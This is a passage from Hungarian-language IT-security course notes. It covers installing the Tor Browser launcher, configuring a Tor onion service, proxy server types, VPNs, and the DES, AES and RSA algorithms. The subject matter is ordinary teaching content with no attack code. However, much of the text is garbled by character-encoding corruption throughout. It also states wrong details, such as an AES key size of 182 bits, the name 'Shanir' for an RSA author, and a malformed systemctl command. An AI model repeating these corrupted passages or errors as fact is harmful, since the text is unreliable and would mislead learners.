2. Használjuk a torbrowser-launcher csomagot, amely letºlthetŖ innen [5]: 

https://github.com/micahflee/torbrowser-launcher 

A Tor browser-launcher nem r®sze a hivatalos TOR kiad§snak, de egyszerŤs²ti annak naprak®szen 

tart§s§t. ElŖnyei a kºvetkezŖk: 

¶ Mindig a legújabb verzió kerül letöltésre. 

¶ Seg²t kiv§lasztani a megfelelŖ oper§ci·s rendszert, processzor architekt¼r§t ®s nyelvi verzi·t. 

¶ Telep²t®skor elind²tja a Tor bºng®szŖt. 

¶ EllenŖrzi a Tor bºng®szŖ al§²r§sait. 

¶ Hozzáadja a "Tor Browser" és a "Tor Browser Launcher Settings" alkalmazásindítót az asztali 

környezet menüjéhez. 

¶ Tartalmazza az AppArmor profilokat. 

¶ megakadályozza a downgrade támadásokat. 

¶ A torbrowser-launcher nem https alapú. 

Futtassuk a kºvetkezŖt: 

sudo apt - get install torbrowser - launcher  

 

100. ábra torbrowser-launcher telepítése 

Most elind²thatjuk a Tor Browser programot a grafikus fel¿letrŖl. 

https://github.com/micahflee/torbrowser-launcher
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101. ábra Tor bºng®szŖ futtat§sa 

Az elsŖ alkalommal a launcher telepíti a csomagot. 

 

102. ábra A telepítés menete 

Kattintsunk a Csatlakozás gombra (nem kell konfigurálni). 

 

103. ábra A csatlakozás felépítése 

A Tor Browser használatra kész. 
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104. ábra A Tor browser 

ONION SERVER TELEPÍTÉSE 

Az onion szerver képes kiszolgálni tor klienseket. A telepítéshez keressük meg, hol van a torrc fájl. 

 

105. ábra 

Nyissuk meg a fájlt egy editorban és vegyük ki a megjegyz®seket a kºvetkezŖ sorok elŖl: 

HiddenServiceDir  / var / lib / tor / other_hidden_service /  
HiddenServicePort  80 127.0 . 0.1 : 80 
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106. ábra 

Most mentsük el a torrc -t, és indítsd újra a Tor-t. 

$ sudo systemctl tor restart  

Futtassuk a kºvetkezŖt: 

service apache2 start  

 

107. ábra 

Menjünk a /var/lib/tor/other_hidden_service könvtárba ï ehhez root jogosultság szükséges. 

 

108. ábra Az onion szerver konfigurációs könyvtára 

Adjuk ki a 

cat ./hostname t  

parancsot az onion szerver nev®nek megtekint®s®hez. Ezt kell beg®pelni a Tor bºng®szŖbe: 

 

109. ábra Az onion szerver neve 
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Hivatkozások 

[1] https://github.com/micahflee/torbrowser-launcher. 

PROXY 

A proxy szerver egy átjáró köztünk és az internet között. Ez egy kºzbensŖ szerver, az összes 

adatforgalom a proxykiszolgálón keresztül áramlik. A proxyszerver így elválaszt minket az internettŖl. 

Mind a bejºvŖ, mind a kimenŖ k®r®sek a szerveren kereszt¿l folynak (bizonyos kivételekkel) 

 

110. ábra Proxyszerver  

A proxy szerverek funkciói:  

¶ biztonság megvalósítása, 

¶ magánélet védelme, 

¶ teljesítmény fokozása, 

¶ vállalati szabályok ellátása. 

A modern proxy szerverek sokkal tºbbet tesznek ann§l, hogy egyszerŤen tov§bb²tj§k a webes k®r®seket. 

Biztonsági feladatokat látnak el, javítják a teljesítményt. A proxy szerverek: 

¶ tŤzfalk®nt ®s webszŤrŖk®nt mŤkºdnek, 

¶ megosztott hálózati kapcsolatok biztosítanak, 

¶ gyorsítótár -adatokat tárolnak a gyakori kérések felgyorsítása érdekében, 

¶ megvédenek a nem kívánt tartalomtól, 

¶ magas szintŤ adatv®delmet biztos²tanak. 

Az interneten minden számítógépnek egyedi Internet Protocol (IP) címmel kell rendelkeznie. 

Tekinthetjük ezt az IP -címet a számítógép postai címének. Ahogy a posta is tudja, hogy a leveleket 

hogyan kell a postai c²m¿nkre sz§ll²tani, az internet is tudja, hogyan kell a megfelelŖ adatokat elk¿ldeni 

a megfelelŖ sz§m²t·g®pre az IP -cím alapján. 

A proxyszerver alapvetŖen egy sz§m²t·g®p az interneten, saj§t IP -címmel, amelyet mi számítógépünk 

ismer. Amikor webes k®r®st k¿ld¿nk, a k®r®s¿nk elŖszºr a proxy szerverhez ker¿l. A proxyszerver 

ezut§n a mi nev¿nkben elk¿ldi webes k®r®s®t, ºsszegyŤjti a v§laszt a webszervertŖl, ®s tov§bb²tja 

nek¿nk a weboldal adatait, ²gy l§thatjuk az oldalt a bºng®szŖben. 

Amikor a proxykiszolgáló továbbítja webes kéréseket, módosíthatja az elküldött adatokat, és de mi 

továbbra is azt az adatot kapjuk, amit elvárunk. A proxykiszolgáló megváltoztathatja az IP -címét, így 

a webszerver nem tudja pontosan, hol van a vil§gon a k¿ldŖ. Titkos²thatja az adatokat, ²gy az adatok 

olvashatatlanok a szállítás során. És végül, a proxy szerver blokkolhatja a hozzáférést bizonyos 

weboldalakhoz az IP -cím alapján. 
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A PROXY SZERVER HASZNÁLATI ESETEI 

Számos oka van annak, hogy a cégek és magánszemélyek proxyszervert használnak. 

¶ Az fiatalkorúak vagy alkalmazottak internethasználatának szabályozása: A szervezetek és a 

sz¿lŖk proxyszervereket §ll²tanak be annak ellenŖrz®s®re ®s nyomon kºvet®s®re, hogy 

alkalmazottjaik vagy gyermekeik hogyan használják az internetet. A szervezet nem akarja, 

hogy a v§llalati idŖben n®zzen meg bizonyos webhelyeket, ®s be§ll²thatja a proxykiszolg§l·t, 

hogy megtagadja a hozzáférést bizonyos webhelyekhez, ehelyett egy kedves megjegyzéssel 

irányítja Önt, hogy ne tartózkodjon az említett webhelyek megtekintés®tŖl a v§llalati h§l·zaton. 

ŕk is figyelemmel k²s®rhetik ®s napl·zhatj§k az ºsszes webes k®r®st, ²gy annak ellen®re, hogy 

esetleg nem blokkolj§k a webhelyet, tudj§k, mennyi idŖt tºlt a sz§m²t·g®pes csal§ssal. 

 

¶ Sávszélesség -megtakarítás és jobb sebesség: A vállalatok a teljes hálózati teljesítményt is 

jav²thatj§k egy j· proxy szerverrel. A proxykiszolg§l·k gyors²t·t§rba helyezhetik a n®pszerŤ 

webhelyeket (a webhely másolatát helyben elmenthetik) - így amikor a bºng®szŖ az adott 

webszerver letºlt®s®t k®ri, a proxyszerver ellenŖrzi, hogy rendelkezik -e a webhely legújabb 

példányával, majd elküldi a mentett példányt. Ez azt jelenti, hogy amikor több száz ember éri 

el egyszerre a webhelyet ugyanazon proxy szerverrŖl, a proxy szerver csak egy kérést küld a 

webhelyre. Ez megtakarítja a sávszélességet, és javítja a hálózati teljesítményt.  

 

¶ Adatv®delmi elŖnyºk: mag§nszem®lyek ®s vállalatok egyaránt proxykiszolgálókat használnak 

az internet privát böngészéséhez. Egyes proxykiszolgálók megváltoztatják az IP -címet és a 

webkérés egyéb azonosító adatait. Ez azt jelenti, hogy a célszerver nem tudja, ki küldte be az 

eredeti k®r®st, ami seg²t megŖrizni személyes adatait és böngészési szokásait.  

 

¶ Fokozott biztons§g: A proxyszerverek az adatv®delmi elŖnyºk mellett biztons§gi elŖnyºket is 

nyújtanak. Beállíthatjuk a proxykiszolgálót, hogy titkosítsa a webes kéréseket, hogy a 

kíváncsiskodó szemek ne olvassák tranzakcióit. Azt is megakadályozhatjuk, hogy a 

rosszindulatú webhelyek hozzáférjenek a proxykiszolgálón keresztül adatainkhoz. Ezenkívül a 

szervezetek össze tudják kapcsolni a proxykiszolgálójukat egy virtuális magánhálózattal 

(VPN), így a távoli felhasználók mindig a vállalati proxyn keresztül férnek hozzá az 

internethez. A VPN kºzvetlen kapcsolat a v§llalati h§l·zattal, amelyet a v§llalatok k¿lsŖ vagy 

t§voli felhaszn§l·knak biztos²tanak. A VPN haszn§lat§val a v§llalat ellenŖrizheti ®s 

ellenŖrizheti, hogy a felhaszn§l·k hozz§f®rnek -e a szükséges erŖforr§sokhoz (e -mail, belsŖ 

adatok), miközben biztonságos kapcsolatot biztosít a felhasználó számára a vállalati adatok 

védelme érdekében.  

 

¶ Hozz§f®r®s a blokkolt erŖforr§sokhoz: A proxykiszolg§l·k lehetŖv® teszik a felhaszn§l·k 
sz§m§ra, hogy megker¿lj®k m§sok §ltal (pl.: v§llalatok vagy korm§nyok) §ltal elŖ²rt 

tartalomkorlátozásokat. Ha például egy sportközvetítés le van tiltva Magyarországról 

bºng®szŖk sz§m§ra, akkor jelentkezz¿nk be egy proxy szerverre az vil§g m§sik oldal§n, ®s 

nézzük meg onnan.  

PROXY SZERVER KOCKÁZATA 

A proxykiszolgáló használatának néhány lehetséges kockázata van: 

¶ Ingyenes proxy szerverek kockázata  

Az ingyenes proxy szolgáltatás használata kockázatos is lehet, még a hirdetéseken alapuló 
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bevételi modelleket használó szolgáltatások is. Az ingyenes általában azt jelenti, hogy nem 

fektetnek be komolyabban a backend hardverbe vagy a titkos²t§sba. ElŖfordulhat, hogy ez 

teljes²tm®nyprobl®m§kat ®s lehets®ges adatbiztons§gi probl®m§kat okoz. Az Ăingyenesò proxy 

szerverek egy része csaló. 

¶ Böngészési történet eltárolása  

A proxykiszolgáló az eredeti IP -címet és a webes kérés adatait esetleg lokálisan, titkosítatlanul 

t§rolja. EllenŖrizz¿k, hogy a proxyszerver napl·zza -e és menti -e ezeket az adatokat - és hogy 

milyen megŖrz®si vagy bŤn¿ldºz®si egy¿ttmŤkºd®si ir§nyelveket követnek. 

¶ Nincs titkosítás  

Ha proxyszervert használunk titkosítás nélkül, akkor lehet, hogy nem is használunk 

proxykiszolg§l·t. A titkos²t§s hi§nya azt jelenti, hogy k®r®seket egyszerŤ szºvegk®nt k¿ldj¿k 

el. Bárki, aki lehallgat, valóban könnyen le látja a felhasználóneveket, jelszavakat és a 

fiókadatokat. 

Proxy Szerver típusok 

Nem minden proxyszerver mŤkºdik ugyan¼gy. Fontos meg®rteni, hogy pontosan milyen funkci·kat 

kapunk az egyes a proxy szervertŖl. [1] a kºvetkezŖk®ppen kategoriz§lja a proxykiszolg§l·kat: 

¶ Forward proxy  

A tov§bb²t· proxy az ¿gyfelek elŖtt mŤkºdik, ®s arra szolg§l, hogy adatokat juttasson a belsŖ 

hálózaton belüli felhasználói csoportokhoz. Kérés elküldésekor a proxyszerver eldönti, hogy 

indokolt-e új a kapcsolat létrehozása.  

Az tov§bb²t· proxy a legmegfelelŖbb olyan belsŖ h§l·zatokhoz, amelyek egyetlen bel®p®si 

pontot igényelnek. Biztosítja az IP -c²mek biztons§g§t a h§l·zatban l®vŖk sz§m§ra, ®s lehetŖv® 

teszi az egyszerŤ adminisztr§ci·s fel¿gyeletet.  
¶ Átlátszó proxy  

Az átlátszó proxy ugyanolyan élményt nyújthat a felhasználóknak, mint az otthoni számítógép 

használata. Ily módon Ăátlátszóò. A felhaszn§l·kra is Ăr§k®nyszer²thetŖkò, vagyis an®lk¿l is 

kapcsolódhat egy felhasználó a proxyhoz, hogy tudna róla.  

Az átlátszó proxyk jól alkalmazhatók azoknak a vállalatoknak, amelyek anélkül akarják 

használni a proxyt, hogy az alkalmazottak tudomást szereznének arról, hogy használják. 

ElŖnye, hogy zºkkenŖmentes felhaszn§l·i ®lm®nyt ny¼jt. M§sr®szt az §tl§tsz· proxy-k 

érzékenyebbek bizonyos biztonsági fenyegetésekre, például a SYN-flood támadásokra. (A 

SYN flood, azaz SYN elárasztás egy az interneten végrehajtott, szolgáltatás-megtagadással járó 

támadás.) 

¶ Anonim proxy  

Az anonim, vagy névtelen proxy arra összpontosít, hogy az internetes tevékenységet 

kºvethetetlenn® tegye. MŤkºd®snek saj§toss§ga, hogy hogy a felhaszn§l· nev®ben hozz§f®r az 

internethez, miközben elrejti a felhasználó személyazonosságát és számítógépes adatait.  

¶ Fokozottan anonim proxy  

A fokozottan anonim proxy egy névtelen proxy, amely egy lépéssel tovább viszi az anonimitást. 

Đgy mŤkºdik, hogy tºrli az adatait, mielŖtt a proxy megpr·b§l csatlakozni a c®loldalhoz.  

¶ Torzító proxy  

A torzító proxy a webhely proxyként azonosítja magát, de elrejti saját személyazonosságát. Ezt 

úgy teszi, hogy az IP -címét hamisra változtatja. 

A torzító proxy jó választás azok számára, akik el akarják rejteni helyüket az internet elérése 

közben. Ez a fajta proxy olyan megjelenést eredményezhet, mintha egy adott országból 

böngészne, és nemcsak a felhasználó, hanem a proxy személyazonosságát is elrejti. Egyes 

webhelyek azonban automatikusan blokkolják a torzító proxykat, ami megakadályozhatja, 

hogy a végfelhasználó hozzáférjen a webhelyekhez. 

¶ Adatközpont proxy  

Az adatközpont -proxyk nem kapcsolódnak internetszolgáltatóhoz (ISP), hanem egy másik 

v§llalat biztos²tja Ŗket adatkºzponton kereszt¿l. A proxy szerver egy fizikai adatkºzpontban 
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létezik, és a felhasználó kérései ezen a szerveren keresztül kerülnek továbbításra. Az 

adatkºzpont proxy j· v§laszt§s azoknak, akik gyors v§laszidŖt ®s olcs· megold§st ig®nyelnek. 

ElŖny¿k, hogy a felhaszn§l·k sz§m§ra lehetŖv® teszik az adatok gyors ®s olcs· gyŤjt®s®t. 

M§sr®szt nem ny¼jtj§k a legmagasabb szintŤ n®vtelens®get, ami vesz®lyeztetheti a felhaszn§l·k 

adatait vagy személyazonosságát. 

¶ Residential proxy   

A residental proxy egy adott fizikai eszközhöz tartozó IP -címet ad. Ezután minden kérés ezen 

az eszközön keresztül történik. Ezek proxyk jól alkalmazhatók azoknál a felhasználóknál, 

akiknek ellenŖrizni¿k kell a webhely¿kºn megjelenŖ hirdet®seket, így blokkolhatják a cookie-

kat, a versenyt§rsak vagy egy®b szereplŖk gyan¼s, vagy nem k²v§nt hirdet®seit. A residental 

proxyk megbízhatóbbak, mint a többi proxy. Ezek használata azonban gyakran több pénzbe 

kerül, ezért a felhasználóknak alaposan elemezni¿k kell, hogy az elŖnyºk meg®rik -e a 

többletbefektetést. 

¶ Nyilvános proxy   

A nyilv§nos proxy b§rki sz§m§ra ingyenesen el®rhetŖ. Đgy mŤkºdik, hogy hozz§f®r®st biztos²t 

a felhasználóknak a proxy IP címéhez, elrejti a személyazonosságukat, amikor webhelyeket 

látogatnak. A nyilvános proxyk azoknak a felhasználóknak a legalkalmasabbak, akik számára 

a költségek jelentŖsek, a biztonság és a sebesség pedig fontos. Bár ingyenesek és könnyen 

hozz§f®rhetŖk, gyakran lass¼ak, mert belefulladnak az ingyenes felhaszn§l·kba. Ha nyilv§nos 

proxyt használ, akkor nagyobb a kockázata annak, hogy mások hozzáférhetnek az adatainkhoz 

az interneten. 

¶ Megosztott proxy.  

A megosztott proxykat egyszerre több felhasználó is használja. Hozzáférést biztosítanak egy 

olyan IP -címhez, amelyet mások is megoszthatnak, majd böngészhetünk az interneten, 

mikºzben ¼gy tŤnik, hogy az §ltalunk v§lasztott helyrŖl bºng®szünk. A megosztott proxyk jó 

választás azok számára, akiknek nincs sok pénzük, és nincs szükségük gyors kapcsolatra. A 

megosztott proxy fŖ elŖnye az alacsony kºlts®g. Mivel ezeket m§sok is megosztj§k, m§sok 

hibás döntéseiért minket is kitilthatnak egy webhelyrŖl. 

¶ SSL Proxy  

A Secure Sockets Layer (biztonságos socket layer, SSL) proxy titkosítást biztosít az ügyfél és 

a szerver között. Mivel az adatok mindkét irányban titkosítva vannak, a proxy elrejti létezését 

mind a kliens, mind a szerver elŖl. Ezek a proxyk a legalkalmasabbak azoknak a 

szervezeteknek, amelyek fokozott védelmet igényelnek az SSL protokoll által felfedett és 

leállított fenyegetések ellen. Mivel a Google az SSL-t haszn§l· szervereket r®szes²ti elŖnyben, 

az SSL proxy, ha egy webhellyel kapcsolatban használják, seg²thet a keresŖmotor 

rangsorolásában. A hátránya az, hogy az SSL -proxynál titkosított tartalom nem tárolható 

gyorsítótárban, így, ha többször meglátogatjuk a webhelyeket, lassabb teljesítményt 

tapasztalhatunk, mint egyébként. 

¶ Rotating Proxy  

A rotaring (forgó) proxy más IP -címet rendel hozzá minden felhasználóhoz, aki csatlakozik 

hozz§. Amikor a felhaszn§l·k csatlakoznak, olyan c²met kapnak, amely elt®r az elŖtte 

csatlakoz· eszkºz IP c²m®tŖl. A forg· proxyk ide§lisak azoknak a felhasználóknak, akiknek 

nagy mennyis®gŤ, folyamatos web el®r®st kell v®gezni¿k. LehetŖv® teszik, hogy n®vtelen¿l ¼jra 

és újra visszatérjenek ugyanahhoz a webhelyhez.  

¶ Fordított proxy  

Ellent®tben az tov§bb²t· proxyval, amely az ¿gyf®loldalon mŤkºdik a ford²tott proxy a 

webszerverek elŖtt helyezkedik el, ®s tov§bb²tja a bºng®szŖbŖl sz§rmaz· k®r®seket a 

webszerverekre. Đgy mŤkºdik, hogy a felhaszn§l· k®r®seit elkapja Ezután elküldi a kéréseket 

az eredeti szervernek, ®s v§laszokat kap tŖl¿k. 

A fordított proxyk alkalmazása jó választás a terhelt webhelyek számára, amelyeknek ki kell 

szolg§lni a nagysz§m¼ bejºvŖ k®r®st. Seg²thetnek a szervezetnek a s§vsz®less®g terhel®s®nek 

csºkkent®s®ben, mivel ¼gy viselkednek, mint egy m§sik webszerver, amely kezeli a bejºvŖ 

kéréseket. A hátrányuk, hogy a fordított proxyk potenciálisan felfedhetik a HTTP szerver 

architektúráját, ha a támadó képes behatolni rajta. Ez azt jelenti, hogy a hálózati 
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rendszergazd§knak meg kell erŖs²teni¿k vagy §t kell konfigur§lniuk a tŤzfalaikat, ha ford²tott 

proxyt használnak. 

VIRTUÁLIS MAGÁNHÁLÓZATOK (VPN) 

ElsŖ l§t§sra a proxykiszolg§l·k ®s a virtu§lis mag§nh§l·zatok (VPN) felcser®lhetŖnek tŤnhetnek, mivel 

mind a k®r®seket, mind a v§laszokat k¿lsŖ szerveren kereszt¿l tov§bb²tj§k. MindkettŖ lehetŖv® teszi 

azoknak a webhelyeknek az elérését is, amelyeket egyébként blokkolnának az adott országban, ahol 

fizikailag ténylegesen tartózkodunk. A VPN-ek azonban jobb védelmet nyújtanak a hackerek ellen, 

mivel titkosítják az összes forgalmat 

A VPN vagy virtuális magánhálózat egy privát hálózat, amely titkosítja és továbbítja az adatokat, 

lehetŖv® teszi a biztons§gos internetkapcsolatot 

A VPN -kapcsolat elŖnyeit ²gy foglalhatjuk ºssze: 

A VPN -kapcsolat elfedi az online adatforgalmat, ®s megv®di azt a k¿lsŖ hozz§f®r®stŖl. A titkos²tatlan 

adatokat bárki megtekintheti, aki rendelkezik hálózati hozzáféréssel. A VPN segítségével a hackerek és 

a kiberbŤnºzŖk nem tudj§k megfejteni ezeket az adatokat. 

Biztonságos titkosítás: Az adatok olvasásához titkosítási kulcsra van szükség. Ennek hiányában a 

jelenlegi ismereteink mellett több milli· ®vbe telhet, mire egy sz§m²t·g®p nyers erŖvel tºrt®nŖ t§mad§s 

segítségével esetén megfejti a kódot. A VPN segítségével online tevékenységeink még a nyilvános 

hálózatokon is el vannak rejtve. 

A tartózkodási helyünk elrejtése: A VPN -kiszolg§l·k l®nyeg®ben a proxyk®nt mŤkºdnek az 

interneten. Mivel a helyadatok egy m§sik orsz§g szerver®rŖl sz§rmaznak, a t®nyleges tart·zkod§si 

helyünket nem lehet meghatározni. Ezenkívül a legtöbb VPN -szolgáltatás nem tárolja a tevékenységek 

naplóit. Ez azt jelenti, hogy a felhasználói aktivitás rejtve marad. 

Hozzáférés a regionális tartalomhoz: A region§lis webes tartalom olyan tartalom, amely ®rhetŖ el 

mindenhonnan. A szolgáltatások és webhelyek gyakran tartalmaznak olyan tartalmat, amely csak a 

vil§g bizonyos r®szeirŖl ®rhetŖk el. A szabv§nyos kapcsolatok az orsz§g helyi szervereit haszn§lj§k a 

tartózkodási hely meghatározásához. Ez azt jelenti, hogy utazás közben nem férhetünk hozzá az otthoni 

tartalomhoz, és nem férhetünk hozzá a nemzetközi tartalomhoz otthonról. A VPN - helyhamisítással - 

átválthat egy másik orsz§gban l®vŖ szerverre, ®s hat®konyan Ămegv§ltoztathatjaò tart·zkod§si hely®t. 

Biztonságos adatátvitel: Ha t§volr·l dolgozunk, elŖfordulhat, hogy hozz§ kell f®rn¿nk a v§llalat 

h§l·zat§nak fontos f§jljaihoz. Biztons§gi okokb·l az ilyen jellegŤ inform§ci·k biztons§gos kapcsolatot 

igényelnek. A hálózathoz való hozzáféréshez gyakran VPN -kapcsolat szükséges. A VPN -

szolgáltatások magánszerverekhez csatlakoznak, és titkosítási módszereket használnak az adatszivárgás 

kockázatának csökkentésére.[3] 

A VPN vagy a proxy kérdés eldöntése 

Ha folyamatosan kell titkosítandó adatok küldéséhez és fogadásához hozzáférnünk az internethez, vagy 

ha vállalatnak olyan adatokat kell felfednie, amelyeket el kell rejtenie a hackerek és a kíváncsi szemek 

elŖl, akkor jobb v§laszt§s a VPN. 

Ha egy szervezetnek csupán engedélyeznie kell a felhasználók számára, hogy névtelenül 

böngészhessenek az interneten, akkor a proxyszerver elegendŖ. Ez a megoldás akkor is, ha egyszerŤen 

csak tudni szeretnék, mely webhelyeket használják a dolgozók, vagy hozzá akarunk férni azokhoz a 

webhelyekhez, amelyek a mi országunkban blokkolva vannak. 
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A VPN jobban megfelel üzleti célokra, mivel a felhasználóknak általában mindkét irányban biztonságos 

adatátvitelre van szükségük. A vállalati információk és a személyi adatok nagyon értékesek lehetnek, 

és a VPN biztosítja a titkosítást, amire szükségünk van a védelméhez. Személyes használatra, egyetlen 

felhaszn§l·hoz, a proxyszerver megfelelŖ v§laszt§s lehet. Mindk®t technol·gi§t egyszerre is 

használhatjuk, különösen, ha korlátozni szeretnénk a hálózaton belüli felhasználók által látogatott 

webhelyeket, miközben titkosítja a kommunikációjukat. 

 

HIVATKOZÁSOK  
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KRIPTOGRAFIKUS ALGORITMUSOK  

ALAPFOGALMAK  

A kriptogr§fia (a kifejez®s) a gºrºg əɟɡˊŰɧɠ sz·bol, ami rejtettet jelent ®s a ɔɟɎűŮɘɜ szóból, amely írást 

jelent. 

Maga a téma önálló lett az évek során, annak ellenére, hogy mindig része volt a számítástechnika/ 

információtechnológiai tudományágnak. FŖ feladata a titkos k·dok tanulm§nyoz§sa ®s megfejt®se volt. 

Az elektronikus kommunik§ci· sz®les kºrŤ elterjed®s®vel a biztons§gos online csatorna ki®p²t®se 

elengedhetetlenné vált. 

A biztonságos csatorna követelményei: 

Titoktartás: Az egymással kommunikáló feleken kívül senki másnak nem szabad értenie az üzeneteket. 

Kriptogr§fiai algoritmus. A fŖ c®lunk egy olyan m·dszer kidolgozása, amely feltörhetetlen, de ezzel 

egyidejŤleg kºnnyŤ haszn§lni ®s kisz§m²tani.  

Ennek a módszernek matematikailag bizonyíthatónak kell lennie. 

Hitelesség: A kommunikáló felek meg tudják állapítani egymás kilétét (annak ellenére, hogy a való 

életben soha nem találkoztak). 

Eszközök: Hitelesítési szolgáltatások (hatóságok) Az online kommunikáció esetében természetes 

követelmény, hogy személyazonosságunkat algoritmussal kell védeni, annak ellenére, hogy olyan távoli 

szervereket kell használnunk, amelyeket nem lehet megközelíteni. 

Nincs 100% -os biztonság, ismerni kell a határokat. 

Integritás: az adataink bármilyen észrevétlen módosítását blokkolni kell. 

Digitális aláírás: Manaps§g gyakori, hogy online szerzŖd®seket kell al§²rnunk, ahol a szerzŖd®s al§²r·i 

fizikailag nem lehetnek jelen. Az al§²r§sok ak§r k¿lºnbºzŖ idŖpontokban is tºrt®nhetnek. 

A digit§lis al§²r§s haszn§lata ma Magyarorsz§gon is kºtelezŖ, p®ld§ul a b²r·s§gi ¿gyint®z®s eset®ben. 

Az alábbi ábra a kommunikáció alapmodelljét és annak jelöléseit írja le. 

 

111. ábra Alice és Bob kommunikációja 

Alice üzenetet akar küldeni Bobnak, nevezzük az üzenetet m-nek. A lekódolt üzenet legyen c. 

Az E() függvényt titkosítási/kódolási függvénynek nevezzük. 
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A D() függvényt dekódoló függvénynek nevezzük. 

DES (DATA ENCRYPTION STANDARD) 

A DES egy elterjedt titkosítási algoritmus. Az IBM fejlesztette ki az 1970 -es évek elején, majd a 

Nemzeti Szabványügyi Hivatal regisztrálta [1] 

A DES szimmetrikus blokkciper; az algoritmus rºgz²tett hossz¼s§g¼ 64 bites egyszerŤ szºveget k·dol 

le. Az algoritmus kimenete ezzel megegyezŖ m®retŤ, a DES egy olyan kulcsot haszn§l, amelynek m§s 

bitmérete van: 56 bit. 

A kulcs 64 bitesnek tŤnik, de az algoritmus figyelmen k²v¿l hagy minden 8. bitet. 

 

112. ábra A DES algoritmus 

 

Az egyszerŤs®g kedv®®rt a 64 bites blokk (kulcs) 16 hexadecim§lis sz§mk®nt jelenik meg. 

Lépései 

1. A sima szöveges üzenet 64 bites hosszúságú részét egy kezdeti permutációs függvény kapja 

meg. A permut§ci· ¼gy n®z ki, hogy A sima szºveg 58. bitje lesz az 1. bit, az 50. bit lesz a 2.,é 

és a 7. bit lesz a 64. bit, lásd az alábbi ábrát. 
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113. ábra A permutációt leíró mátrix 

2. A permutált rész két 32 bites részre osztja az adatokat: bal oldali szöveg (LFT) és jobb oldali 

szöveges rész (RFT)T) 

3. MindkettŖ 16 kºrºs titkos²t§si folyamaton megy kereszt¿l az 56 bites kulcs haszn§lat§val 

4. A k®t r®sz ezut§n ¼jra ºsszefŤz®sre ker¿l, ®s egy v®gsŖ permut§ci·t hajtanak v®gre a 

kombin§lt blokkon, ²gy l®trejºn a 64 bites titkos²t§si blokk. A v®gsŖ permut§ci· a kezdeti 

permutáció inverze: 

 
114. ábra A permutáció inverzét leíró mátrix 

5. A 16 titkos²t§si kºr a kºvetkezŖk®ppen n®z ki: 
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115. ábra 16 titkosítási kör 

Minden kör az 56 bites kezdeti kulcsból generál egy K i kulcsot. A kulcsot két 28 bites félre osztjuk. 

Mindkét felet minden körben balra shifteljük. Az 1., 2., 9. and 16. körben 1 bittel, a többi körben 

kettŖvel. Ezut§n egy 48 bites alkulcsot (K i) i választ ki egy tömör²tŖ ®s permut§l· mŤvelet.  

LFTn = RFTn-1 

RFTn = LFTn-1 XOR f(Rn1, Kn) 

Az f sz§m²t§si f¿ggv®ny le²r§sa a kºvetkezŖ: Minden kºrben a 32 bites blokkot 48 bitre bŖv²tik a 

bŖv²t®si permut§ci· seg²ts®g®vel, amely a bitek fel®t megkettŖzi. Ezut§n az eredm®nyt az alkulccsal 

kombin§lja egy XOR mŤvelet. A 48 bites eredm®ny ezut§n n®h§ny bitet helyettesít egy nemlineáris 

táblázat szerint. Végül a kimenetet fix permutációval rendezzük át. 

 

116. ábra A kimenet elŖ§ll²t§sa 

 

DES in OPEN SSL példák az alábbi linken találhatók: 

https://sandilands.info/crypto/DataEncryptionStandard.html#x16-840008.5  

AES (ADVANCED ENCRYPTION STANDARD) 

Az Advanced Encryption Standard (AES) titkosítást [9] vezette be. Ez az algoritmus gyorsabb és 

megbízhatóbb, mint a DES, így lett 2001-ben amerikai szabv§ny. 128 bites adaton mŤkºdik, a kulcs 

128, 182 vagy 256 bites lehet. Ez egy szimmetrikus kulcs titkosítás. 

Az AES egy helyettes²tŖ-permut§ci·s h§l·zaton alapul. Az egym§shoz kapcsol·d· mŤveletek egy r®sze 

a bemeneteket meghatározott kimenetekkel helyettesíti, mások permutálják az adatokat. 

A titkos²t§si kºrºk sz§ma a kulcs m®ret®tŖl f¿gg: 

¶ 128 bit ï 10 kör 

¶ 192 bit ï 12 kör 

¶ 256 bit ï 14 kör 

Mindegyik kör a saját Kulcsi kulcsát használja, amit egy algoritmus szerint lehet kiszámítani. [9] 

https://sandilands.info/crypto/DataEncryptionStandard.html#x16-840008.5
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117. ábra A titkosítási körök 

 

Az algoritmus leírása: 

KeyExpansion ï az i. körhöz tartozó K i kulcs az eredeti kulcsból kiszámításra kerül. 

AddRoundKey ï minden bájtot kombináljuk a K i kulcs egy bájtjával a bitenkénti XOR használatával. 

9., 11. vagy 13. kör: 

SubBytes ï nemlineáris helyettesítési lépés, ahol minden bájt egy m§sikra cser®lŖdik az al§bbi t§bl§zat 

szerint. 
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118. ábra Nemlineáris helyettesítési lépés 

ShiftRows ï az átültetési lépés. Az adatok egy 4 x 4 mátrixba vannak rendezve, amely r0, r1, r2, r3 

sorokból állnak. Minden ri sor l pozícióval balra tolódik. 

 

119. ábra ShiftRows mŤvelet - az átültetési lépés 

MixColumns ï mátrix oszlopain végrehajtott line§ris transzform§ci·s mŤvelet. 

 

120. ábra MixColumns mŤvelet 

Támadások 
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https://en.wikipedia.org/wiki/Advanced_Encryption_Standard#cite_note-fips-197-6 

RSA ALGORITMUS 

Rivest, Shanir és Adleman 1977 -ben mutatta be aszimmetrikus kriptográfiai algoritmusát [7] . Az 

algoritmus hatványozáson és moduláción alapul. Tegyük fel, hogy igaz az alábbi egyenlet:  

Ted mod N = T 

bizonyos speciális esetekben az egyenlet két párra bontható, az egyik kódolni fogja, a második pedig 

dek·dolni a kºvetkezŖk®ppen: 

Te mod N = C  

Cd mod N = T 

Sajnos ez az egyenlet nem mŤkºdik tetszŖleges h§rmasokkal: (e,d,N) 

Tétel 

Induljunk ki ebbŖl a r®gi gºrºg egyenletbŖl: 

TN-1 mod N = 1 

ahol N > T és N prímszám. 

A prímszámok egész számok, amelyeknek nincs egész osztójuk, például 11, 13, 19, .... 

Legyen f(N) egy totient nevŤ f¿ggv®ny, amely megadja a relatív prímek számát N-ig. Két egész szám 

relatív prím, ha nincs közös osztójuk 1-en kívül.  

Például f(9) = 6 mert 9 esetén 6 relatív prím van.{1, 2, 4, 5, 7, 8}. 

Ha N pr²msz§m, akkor a sz§m²t§s egyszerŤ. Nincs N -ig terjedŖ eg®sz sz§m, amely kºzºs oszt·val 

rendelkezik, azaz  

f(N)+ 1 = N => N-1 = f(N) 

Ha egy K hatv§nykitevŖt megszorozzuk egy §lland·val, akkor a modulo nem v§ltozik, ²gy a kºvetkezŖ 

egyenlet továbbra is igaz 

TK f(N) mod N = 1 

Ez a l®p®s biztos²tja, hogy elm®letileg v®gtelen sz§m¼ kulcs legyen, mivel K tetszŖleges sz§m. 

Szorozzuk meg mindkét oldalt T -vel 

TK f(N)+1 mod N = T 

Válasszuk meg e és d kulcsokat, úgy, hogy  

K f(N) + 1 = e d 

RSA kulcsgenerálás 

